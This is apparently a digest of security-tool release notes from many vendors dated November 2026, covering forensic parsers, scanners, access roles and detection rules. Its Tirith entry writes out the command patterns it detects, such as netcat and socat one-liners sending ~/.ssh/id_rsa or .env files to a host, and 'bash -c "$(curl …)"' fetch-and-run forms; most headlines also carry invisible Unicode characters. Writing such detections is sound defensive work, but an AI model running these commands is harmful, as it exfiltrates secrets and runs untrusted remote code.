• Adds is_sqlite_sidecar to replace hand-written sidecar filters across 56 modules, and reads committed state, previous WAL generation leftover frames, and uncommitted tails from sqlite_wal v0.1.0 — recovering hidden rows from Samsung Honeyboard, Snapchat, Phone Link, Discord, Telegram, and Google Chat.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Adds new artifacts for Google Play Store App Data Usage (reading data_usage.db, one row per package, date, and network state combination including byte counts), Google Play Services Screen Lock State History, Telegram Push Messages (unread_push_messages), Phone Accounts (alongside call logs that now include the SIM ICCID for each call), Health Connect (Android 14+), Samsung Smart Switch, Bluetooth File Transfers (btopp.db), Blocked Numbers, Android Auto Rejected Cars, Setup Flags, boot reason entries from the persistent property store, one database per Android user in frosting, Calendar, Settings Search, My Files recents, Android Auto, image rows from cmh when location_view cannot be queried (Android 16), Instagram Pending Media, Samsung Launcher Search History, Samsung Wi-Fi networks and foreground apps (TcpMonitorApInfo.json), Package Rollback Records, Permission Controller Safety Label History, Permission Change Dates, Permission Controller Log, Google Maps Sync places and people, Battery Stats Daily Package Changes, Wi-Fi IP Memory Store, Call Data Logs (Scone), and Mozilla browser profile times.
• Adds C2PA provenance reading through the vendored c2pareader 0.2.0.

Container & Image Security · 2026-11-03

Anchore Enterprise v6.3 adds quick package search, Ubuntu ESM false-positive removal, vulnerability-worsening alerts, and AI model policy gating⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Search for affected packages by name, name-plus-version, or PURL before a CVE is published — or when one never gets assigned — using the new Quick Package Search.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Anchore Enterprise now fires detailed notifications when a known vulnerability's CVSS score or severity, EPSS score, or CISA KEV status changes after initial triage.
• Discovered AI models (GGUF and Docker Models) are now reported as packages inside application versions, making them visible in the same inventory as other components.

AI-Powered Offensive Security · 2026-11-03

apex now publishes an API — 47 endpoints across 10 areas: Issues, Webhookendpoints, Applications, …⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Adds new API endpoints across resource areas: Issues (10 endpoints: create, read, update), Webhookendpoints (7 endpoints: create, read, update, delete), Applications (6 endpoints: create, read, update, delete), Endpoints (6 endpoints: create, read, update, delete), Knowledgebase (5 endpoints: create, read, update, delete), Agentlogs (4 endpoints: create, read), Pentests (4 endpoints: create, read), Domains (2 endpoints: create, read), plus 2 more areas: Fixes and Auth.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Exploitation & C2 · 2026-11-03

Bugcrowd adds three organization-level roles — Test Operator, Asset Owner, and Asset Viewer — to scope access to Savant Pathseeker tests and asset inventory without granting⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Adds a new Test Operator organization role that can launch, stop, and configure Savant Pathseeker autonomous tests across approved assets, and read asset inventory to select test targets — must be explicitly granted by an Organization Owner and is not included with any program role by default.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Adds a new Asset Owner organization role that can manage asset inventory, discovery, scans, and groups, and triage findings across all programs.
• Adds a new Asset Viewer organization role that can view asset inventory, the discovery feed, and scan status, and view findings across all programs.

Vulnerability & Exposure Management · 2026-11-03

Censys adds Starter and Starter Pro subscription tiers, flattens credit costs to one credit per action, and adds two new Platform fingerprints⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Free and Starter users now have all UI and API actions cost one credit each, replacing the previous tiered costs (lookup: 1 credit, standard search: 5 credits, advanced/regex query: 8 credits), so monthly allotments now go further.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Every Free and Starter user now gets five free Platform actions per day.
• Censys adds two new subscription tiers: Censys Starter ($79/month, 500 credits, one-month rollover) and Censys Starter Pro ($599/month, 4,000 credits), purchasable from the Plan page in the Platform web console.

Container & Image Security · 2026-11-03

Chainguard adds a hardened GitLab Enterprise Edition Commercial Build and 63 new container images, including FIPS variants⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Internet Services · 2026-11-03

Cloudflare adds per-agent access controls for top Personal Agents under AI Crawler and Agent access policies⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Set per-agent access actions for individual top Personal Agents via Security > Settings > AI Crawler and Agent access policies, replacing the former Configure AI bot policies setting.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Personal Agents now inherit the existing Agents policy by default, with Cloudflare recommending Allow (do not block) as the default action.

Security Data Pipeline · 2026-11-03

Cribl adds Telemetry Decisions Bench public benchmark and cribl-decision-2 open-weight model family for IT and security telemetry decisions⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Cribl adds Telemetry Decisions Bench, a public benchmark and leaderboard covering 4,806 production-like IT, security, and telemetry decision tasks across 10 task families, reporting accuracy, negative log-likelihood (NLL), expected calibration error (ECE), latency per decision, and cost for API models.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Cribl adds cribl-decision-2, a family of open-weight decision models available for download from Hugging Face, with sizes at 0.8B (20 ms per decision) and 4B (78 ms per decision), trained specifically for telemetry classification and routing decisions.

SIEM · 2026-11-03

Databricks Runtime 19 adds WITH HISTORY and WITHOUT HISTORY options to ALTER SHARE ADD/ALTER VIEW⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Control history sharing on views with WITH HISTORY and WITHOUT HISTORY clauses on ALTER SHARE ADD VIEW and ALTER SHARE ALTER VIEW; existing history defaults are unchanged.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-03

Databricks Genie Agent now analyzes unstructured files in Unity Catalog volumes and answers with source-page citations⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Databricks Genie Agent now analyzes unstructured files stored in Unity Catalog volumes — including PDFs, slide decks, and images — and answers queries with citations pointing to the source page; workspace admins can control access from the Previews page.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-03

Databricks adds BROWSE privilege support for Unity Catalog secrets and raises per-schema and per-metastore secret limits⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Discover Unity Catalog secrets and their metadata without read access to values or code references by granting BROWSE on a catalog, now extended to cover Unity Catalog secrets.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Store up to 1,000 secrets per schema and 10,000 per metastore in Unity Catalog, up from 100 and 1,000, for both Databricks-managed secrets and secrets backed by AWS Secrets Manager.

Vulnerability & Exposure Management · 2026-11-03

DefectDojo adds LocationData builders for domain, IP, and certificate data, a default-queryset plugin hook, and environment-variable reading for secret key fallbacks⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Read Django secret key fallbacks via the DD_SECRET_KEY_FALLBACKS environment variable instead of hardcoding them in settings.dist.py or local_settings.py.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Add a default-queryset hook for plugins via the new database migration, enabling plugins to scope querysets at the model level.
• Adds LocationData builders for domain, IP, and certificate data to populate location records programmatically.

Public Key Infrastructure (PKI) · 2026-11-03

DigiCert CertCentral now enforces DCV method settings on API requests, returning structured errors for disallowed methods⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• API requests that include a DCV method not enabled in your account now return invalid_value (on order or add-domain requests) or dcv_method_not_allowed (on DCV method changes) instead of silently succeeding.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• CertCentral's DCV methods setting under Settings > Preferences > Advanced Settings > Domain Control Validation now governs which values are accepted in the dcv_method parameter across all affected Services API endpoints — order endpoints, Change DCV method (pending orders), Add domain, and Change DCV method (domain validation).
• DigiCert CertCentral now issues all browser-trusted TLS certificates (DV, OV, and EV) from the G5 root hierarchies — DigiCert TLS RSA4096 Root G5 and DigiCert TLS ECC P384 Root G5 — by default across DigiCert, GeoTrust, Thawte, RapidSSL, and Encryption Everywhere brands.

Container & Image Security · 2026-11-03

Docker Compose adds --ignore-missing to push, --all-projects and --aggregate to stats, and umask service attribute support⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Skip images not available locally during push with the new --ignore-missing flag on docker compose push.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Monitor resource usage across all running Compose projects at once with the new --all-projects flag on docker compose stats, and roll up per-service totals with --aggregate.
• Set a service's umask attribute in compose.yaml to control the file-creation mask inside the container.

Cloud Runtime Security · 2026-11-03

Firejail adds ${PROJECTS}, ${PUBLICSHARE}, and ${TEMPLATES} XDG macros, subpath support in XDG macros, syscall:log in seccomp lists, and a new @program-keep syscall⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Add ${PROJECTS}, ${PUBLICSHARE}, and ${TEMPLATES} macros to profile files for referencing XDG user directories.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Allow subpaths in XDG macros in profile files, so paths like ${DOCUMENTS}/reports are now valid.
• Implement syscall:log in seccomp lists to log rather than block a syscall, enabling audit-style profiling.

Code Security · 2026-11-03

GitHub's security risk assessments now show whether findings come from protected or unprotected repositories⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Access updated code security and secret risk assessments that now show whether each finding is in a protected or unprotected repository, helping identify where to extend coverage — available to organization admins and security managers under the organization's Security tab > Assessments.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Code Security · 2026-11-03

GitHub Actions now blocks pull_request_target events by default in public repositories starting December 2, 2026⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• GitHub Actions now blocks pull_request_target events by default in all public repositories via a new workflow execution protection rule, preventing fork-sourced untrusted code from accessing base-repository secrets.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Use workflow file targeting inside an Actions event policy to explicitly allow pull_request_target for specific workflows rather than the entire repository.
• Review which workflow runs the default rule would block before enforcement by checking the Insights view while the rule runs in evaluate mode.

Digital Forensics & Incident Response · 2026-11-03

iLEAPP adds over 20 new artifact parsers including Hive box inventory, C2PA provenance, SQLite WAL recovery, and Chrome Sync for iOS⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Parse SQLite WAL state with a shared reader — vendored from sqlite-wal v0.1.0 — that reads committed rows, the previous WAL generation, and an uncommitted tail; is_sqlite_sidecar replaces hand-written sidecar filters in eleven modules, and Snapchat, Google Photos, Google Chat, Life360, Discord and Bluetooth LE now surface rows only earlier WAL states hold.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Improves -t raw acquisitions: matches NTFS, ReFS, exFAT and FAT filenames case-insensitively on macOS and Linux, processes a file matched by two patterns of one artifact only once, and now matches Call History Transactions, Spotlight Index and Twint stores at a bare Data volume root.
• Adds new artifacts: Hive box inventory (vendored hive-parser); C2PA provenance (vendored c2pareader 0.2.0); Chrome Sync and Chromium Open Tabs for iOS Chromium browsers; Focus mode configurations and assertions; Find My cache; HomeKit Homes, Users and Accessories (read from homed/datastore.sqlite and homed/core.sqlite); Suggestions Store contact details and URLs (from Suggestions/entities.db); Widget Engagements (from _ATXInfoSuggestionStore.db); Meta Apps Time In App (from time_in_app_<id>.db); Quick Look Thumbnails (thumbnails.data rendered); Keyboard Text Replacements (TextReplacements.db); and Playback Session Archives, Life360 Location State Samples, mt.lastLaunch App Dates, CarKit Connection Events, Contacts Me Card Donations, FaceTime Messages, Line Calls, Lockdown Pair Records, Pending Notifications, and Photos Picker Log.

Secrets Detection & Management · 2026-11-03

Infisical adds an OIDC issuer API, ServiceNow integration, ML-DSA HSM key support, Windows Server PKI discovery, Agent Vault MCP server, and delegated-approval policies⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Infisical now acts as an OIDC issuer, letting other systems verify tokens against Infisical's identity.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Adds GitHub secret sync targets for Codespaces (codespace) and Dependabot (dependabot) secrets alongside the existing repository sync.
• Agent Vault now exposes an MCP server, letting AI agents and MCP-compatible clients access vaulted credentials.

Cloud Security Posture · 2026-11-03

Lacework FortiCNAPP adds composite alert severity customization and Risk Insights in Public Preview⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Customize composite alerts by setting the severity level of each composite alert type individually, or turn off specific types entirely.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Risk Insights is now available in Public Preview.

Code Security · 2026-11-03

Mend Platform adds an AI natural-language assistant and granular SAST scan-category control in the Scan Profile⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Control low-probability SAST scan categories individually in the Scan Profile — include or exclude specific categories such as File Read or Database Read — replacing the previous binary toggle with a configurable selection tree that applies to the next scan and shows a count of selected categories.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Mend Platform adds Mend Intelligent Agent, an AI assistant that accepts natural-language queries to explore platform capabilities, navigate to relevant views, and produce executive-level risk summaries across all applications and projects; enabled by default for organizations with a signed AI consent addendum.

Code Security · 2026-11-03

Mend SAST adds per-category scan profile controls and custom Node.js routing support via routes.json⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Support custom Node.js routing frameworks by parsing routes.json manifests to identify handler functions as entry points for taint analysis.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Control low-probability scan categories individually in the Scan Profile — replacing the previous binary toggle with a configurable selection tree that lets you include or exclude categories such as File Read or Database Read, with a count indicator for selected categories.

Identity & Access Management · 2026-11-03

Nudge Security adds AI agent discovery and governance across 23 agentic platforms via API and browser extension⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Access the full AI agent inventory at Identities > AI agents, where each agent shows its creator, platform, integrations, permissions, and approval status regardless of which discovery channel found it.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Flag risky AI agents that are publicly accessible, carry hardcoded credentials, use unauthenticated MCP connections, or whose creators have left the organization.
• Send a nudge to an agent's creator to collect a plain-language explanation of the agent's purpose and required access, with the answer saved to the agent's record.

General Utilities & Libraries · 2026-11-03

Obsidian adds URI/CLI commands to append or prepend content under a heading, reorderable Bases filters, and a new Mermaid rendering library with theme-matched colors⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Append or prepend content to a specific heading via URI and CLI using new commands that also control line breaks around the inserted content.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Obsidian now renders Mermaid diagrams using a new library called Pele, compatible with Mermaid 12.1.0 syntax, with --mermaid-* CSS variables for colors, corner radius, and font weights, and .pele-* element classes.
• Bases now supports dragging to reorder filters and a per-filter-row menu to add filters or move them between All views and This view.

General Utilities & Libraries · 2026-11-03

Obsidian Mobile adds PDF export, iOS voice capture with transcription, and Spotlight/Siri Quick Capture actions⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Export notes to PDF on iOS and Android.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Record voice notes in Quick Capture on iOS that transcribe as you speak, including from the Lock Screen; recordings can be saved to your vault (requires iOS 26).
• Quick Capture now appears in Spotlight actions and Siri, for example Open Quick Capture in Obsidian.

General Utilities & Libraries · 2026-11-03

Obsidian Publish adds colored highlight support and now renders Mermaid diagrams with zoom and pan via Pele⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Mermaid diagrams and charts are now rendered using Pele, with faster load times, site-matched colors and fonts, and zoom and pan support.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

CNAPP · 2026-11-03

Plerion adds GCP Compute Engine secret and end-of-life checks, plus AWS Security Incident Response case detections in CDR⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Update your CDR StackSet to the latest template to enable four new AWS Security Incident Response detections (PLERION-CLOUDTRAIL-86 through PLERION-CLOUDTRAIL-89) that fire when a case is created or updated, or when a comment is added or edited — detections are Medium severity and off by default, so turn them on in your profile.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Plerion adds a new GCP check (PLERION-GCP-340) that reads Compute Engine instance startup scripts from metadata keys startup-script, user-data, and the Windows startup and sysprep script keys, and fails the instance at Medium severity when a script holds a hard-coded credential — the finding names the metadata key, and the matched value is masked before storage.
• Plerion adds a new GCP check (PLERION-GCP-341) that reads the public image license on a Compute Engine instance's boot disk and fails the instance at Medium severity when the OS is past end-of-life, covering Debian, Ubuntu, CentOS, RHEL, Rocky Linux, AlmaLinux, Oracle Linux, SUSE, and Windows Server images.

CNAPP · 2026-11-03

Plerion adds continuous scanning for AWS accounts, triggering re-scans within minutes of CloudTrail events across 166 resource types⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Turn on continuous scanning for an AWS account on the account integration's page (requires CDR to be set up first); it is off by default, re-scans on CloudTrail management events, covers 166 resource types across more than 50 AWS services, and updates findings within minutes of each event.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Each continuous asset scan that finds a change costs 3 Plerion units; re-scans that detect no change are free; continuous scanning appears as its own type on the subscription usage chart.
• New check [PLERION-PLN-5] ('Ensure the CWPP service account is using the latest Plerion provided templates') fails at Medium severity when a customer-managed CWPP service account's permissions stack or any enabled region stack does not match the latest Plerion template, listing deployed and latest versions and each outdated region.

Software Supply Chain Security · 2026-11-03

plumber adds keyless Sigstore signing for score pushes and a PLUMBER_SCORE_PAYLOAD_OUT environment variable to capture the exact pushed bytes⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Capture the exact bytes sent during a score push by setting PLUMBER_SCORE_PAYLOAD_OUT to a file path.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• plumber now signs score pushes with a keyless Sigstore signer when running on GitHub Actions, attaching the Sigstore bundle to the push; a signing failure warns rather than blocking the run.
• plumber's JSON report now includes cliVersion, configFileSha256, and the GitHub Actions run details.

Code Security · 2026-11-03

psalm-plugin-laravel adds precise factory-count inference, HigherOrderCollectionProxy typing, and configurable date-cast class resolution on Psalm 7.0⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Keep purity-annotation issues active after upgrading to Psalm 7.0 (which now suppresses them by default) by setting suggestPurityAnnotations="true" in psalm.xml.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• psalm-plugin-laravel now infers the factory count from factory(), new, and count() on the concrete factory class, so make() and create() return a single model or a Collection instead of both, and custom state methods stay callable after count().
• psalm-plugin-laravel now types Eloquent date and datetime casts as the class passed to Date::use() instead of always resolving to Illuminate\Support\Carbon.

CNAPP · 2026-11-03

InsightCloudSec 26.11.3 adds new and updated Insights, harvester updates, and improved Azure load balancer visibility⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• InsightCloudSec now includes new and updated Insights for cloud security posture checks.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• InsightCloudSec now harvests additional cloud resource data with harvester updates.
• InsightCloudSec now surfaces improved visibility into Azure load balancer configurations.

Vulnerability & Exposure Management · 2026-11-03

Rapid7 InsightVM adds CIS macOS 26 Tahoe policy content in version 8.66.0⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

AI-Powered Offensive Security · 2026-11-03

RedAmon adds TruffleHog 3.96.0 as a second secret-detection engine in JS Recon, plus four new secret rules for AWS session keys, Stripe webhook secrets, credential URLs, and⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Enable or disable TruffleHog scanning per project by setting js_recon_trufflehog_enabled in the projects table; on by default for new projects, toggled in the UI at JS Recon → Key Validation → TruffleHog.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• JS Recon now runs TruffleHog 3.96.0 alongside its own secret rules, scanning local JavaScript files (bundles, source-map originals, uploads) in a network-isolated container; keys found only by TruffleHog become new Secret findings with detection_method: trufflehog, and keys found by both engines keep JS Recon's identity with existing mutes and verdicts intact and are marked 'also found by TruffleHog'.
• RedAmon adds four new JS Recon secret rules: AWS session keys (ASIA…), Stripe webhook signing secrets (whsec_…), credentials embedded in a URL (scheme://user:password@host, with placeholder passwords silenced), and JDBC URLs that carry a password.

Digital Forensics & Incident Response · 2026-11-03

Request Tracker 6.0.4 adds native multi-factor authentication, lifecycle graph display on tickets and assets, and a redesigned attachments and links UI⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• RT now adds native multi-factor authentication support on login (also backported to RT 5.0.11).⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• RT 6.0.4 now displays the lifecycle graph directly on tickets and assets.
• RT 6.0.4 now shows redesigned attachments and links components on tickets.

MCP Servers & Tooling · 2026-11-03

Runlayer adds session search, raw file reads for Microsoft 365, and new agent configuration policy groupings⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Search agent sessions from the Sessions page on Runlayer-hosted deployments, or let agents search them through the Runlayer MCP tools; results cover sessions from October 29, 2026 onward.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• On self-hosted deployments, enable session search by running the session search indexer in write mode; set SESSIONS_SEARCH_API_ENABLED=false on the backend to hide the search UI until the indexer is ready.
• Read exact file bytes from OneDrive and SharePoint with format: "raw" on onedrive_read_file and sharepoint_read_file, and read files up to 50 MB with allow_large_file.

MCP Servers & Tooling · 2026-11-03

Runlayer adds MCP spend-breakdown tools, DNS filter block reporting for egress proxy, and Claude Desktop routing through the LLM Gateway⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Read spend data from the Runlayer MCP using three new tools — get_spend_cost_breakdown (spend per provider and model), get_spend_people_usage (the All users list), and get_spend_department_usage (spend by department) — each requiring the View company metrics permission.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Runlayer Plugin's search_tools now returns readOnlyHint, destructiveHint, idempotentHint, and openWorldHint as annotations in nested mode, letting agents select read-only tools without enumerating every connector.
• Self-hosted egress proxy now accepts a list of DNS filter block answers so blocked agent destinations are refused immediately and recorded in response and audit logs.

Network Analysis & Monitoring · 2026-11-03

Security Onion 3.4.0 adds unified automations, correlations support, AI model expansions, and configurable detection engine sync timeouts⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Add openai_embeddings to the YAML configuration to enable OpenAI embedding support.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Add allowExternalMarkdownImages SOC setting to control rendering of external images in markdown.
• Add custom_bind_mounts support to so-kafka and so-soc containers for custom volume mappings.

Code Security · 2026-11-03

Semgrep adds Bun lockfile support, Detect-2Shell agentic workflow, Guardian PHP/Node version checks, and scheduled agentic workflows in public beta⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Adds options to turn off Semgrep Guardian's version checks via the SEMGREP_GUARDIAN_PHP_CHECK and SEMGREP_GUARDIAN_NODE_CHECK environment variables (set to off); Guardian now checks your local PHP and Node.js versions at the start of each Claude Code and Codex session and flags versions affected by the PHP2Shell and Node2Shell remote code execution vulnerabilities.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Supply chain dependency analysis now supports Bun projects that use a bun.lock lockfile with a package.json file, including direct and transitive dependencies and workspaces; the binary bun.lockb format is not supported — switch with bun install --save-text-lockfile --frozen-lockfile --lockfile-only then delete bun.lockb.
• Adds new Semgrep Guardian authentication options: set SEMGREP_GUARDIAN_TOKEN_COMMAND to a program that prints an OAuth token so Guardian uses it directly without opening a browser, for environments like Coder external authentication, and re-authenticate after credentials expire by running /semgrep:reconnect in your coding agent.

Code Security · 2026-11-03

skylos adds a report command for self-contained HTML/Markdown reports and now detects open control and admin routes as SKY-D283⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• skylos now flags open control and admin routes as rule SKY-D283 when running security checks.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-03

Socket now tracks multiple branches per repository for organization-wide alerts, supporting glob patterns and up to 5 branches per repo⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• API users can now track non-default branches by setting the branch and set_as_pending_head fields when creating a full scan.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Organization-wide alerts now track multiple branches per repository (up to 5), with alerts broken down by label, repository, and branch in the dashboard.
• Add tracked branches using plain names or glob expressions via Settings -> Scans -> Tracked Branches to receive alerts, webhooks, and email notifications across branches such as beta, canary, or legacy.

Vulnerability & Exposure Management · 2026-11-03

syzkaller's dashboard adds a RouteLabel to control how bugs are routed to external reporting stages⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Adds a new RouteLabel bug label (type "route") to the dashboard so AI security assessments can tag bugs with a routing destination; the label is visible at AccessUser level and, once set, is never overwritten by subsequent assessments.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Dashboard now passes bug labels, including the new route label, through to external bug reportings so downstream consumers see the full label set.

Code Security · 2026-11-03

Tirith adds data exfiltration detections for netcat/socat/env-dump uploads, inline-exec detection for versioned interpreters, and a structured approval signal in check JSON o⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Adds detection for secret-file exfiltration over netcat and socat — nc host 9000 < ~/.ssh/id_rsa, cat .env | socat TCP:host:9000 -, TLS variants with ncat --ssl and socat OPENSSL:, and whole-environment dumps piped to an upload — as data_exfiltration, and detection of downloaded output used as program source via python3 -c "$(curl …)", node -e, php -r/-B/-R/-E, bash -c "$(curl …)", eval "$(curl …)", source <(curl …) and deno eval "$(curl …)" as interpreter_suspicious_inline_exec in POSIX shells and fish.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Detect versioned interpreter names — python3.12, pypy3, perl5.34, php8.2, ruby3.3, nodejs and others — as pipe sinks and inline program targets, closing a gap where curl … | python3.12 previously passed.
• Detect curl -d @/dev/stdin, -T /dev/stdin and wget --post-file=/dev/stdin as reading standard input, so secret files piped into them also count as data_exfiltration.

Endpoint Security (EDR/XDR) · 2026-11-03

Trend Vision One Agentless Vulnerability & Threat Detection adds tag-based filtering for AWS scans and excludes TrendAI Lambda functions by default⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Add tag-based filtering for AWS scans to include resources, exclude resources, or both, so only matching resources are scanned — configured via the Configuration tab of Agentless Vulnerability & Threat Detection.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• EBS volumes are now filtered by the tags of the attached EC2 instance (not the EBS volume itself), ECR images by the tags of the ECR repository (not the image), and Lambda functions by their own tags — with Lambda layers scanned alongside any matched function.
